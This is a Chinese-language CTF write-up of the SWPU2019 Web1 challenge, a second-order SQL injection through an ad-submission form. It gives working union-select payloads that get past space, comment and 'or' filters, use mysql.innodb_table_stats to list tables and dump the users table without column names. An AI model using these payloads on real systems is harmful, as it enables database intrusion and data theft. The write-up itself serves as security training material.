• [SWPU2019]Web1


    [SWPU2019]Web1

    这道题是个二次注入,做之前感觉挺难得,做完发现也就那么点东西。

    没错,还是参考了王叹之大佬的博客,神!

    来发广告

    在这里插入图片描述
    首先以为是弱口令登录admin,试了一波BP爆破,无果。

    然后是SQLmap,无果。

    然后······是我瞎了我没看到注册······

    注册登录以后是一个打广告的界面:
    在这里插入图片描述
    好像唯一的入口就是这个申请发布广告,看看咋回事。

    发现注入点

    在这里插入图片描述
    在这里插入图片描述
    点击广告详情来到了这个网页:
    在这里插入图片描述
    ?id=38盲猜是注入?猜测这里提取内容的语句是

    select * from xxx where name=广告名

    那么,好像存在注入点,毕竟我们输入的内容可控。

    试试看构造

    1' order by 1#
    

    在这里插入图片描述

    在这里插入图片描述
    一番测试以后,发现过滤了or,#,--+和空格

    ByPass

    • 空格被过滤
      空格过滤可以利用/**/代替空格

    • 注释符被过滤
      将后面的单引号闭合即可

    • or被过滤
      这就很难受了,order byinformation_schema都不能用。
      于是查表名使用select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
      跳过爆字段名直接爆值,参考这个

    Payload

    • 首先爆数据库,试了一下有22个字段:
    1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    

    在这里插入图片描述
    在这里插入图片描述
    懂了,库名是web1

    • 然后是爆表名:
    1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
    

    在这里插入图片描述
    在这里插入图片描述
    懂了,表名是users

    • 无字段名爆值
    1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    

    在这里插入图片描述
    在这里插入图片描述
    学到了学到了,特以此博文纪念~

  • 相关阅读:
    docker安装
    [golang grpc] 框架介绍
    docker介绍
    Visual Studio Code常用设置
    eclipse常用设置
    [golang note] 网络编程
    [golang note] 工程组织
    [golang note] 协程通信
    [golang note] 协程基础
    [golang note] 接口使用
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13904142.html
Copyright © 2020-2023  润新知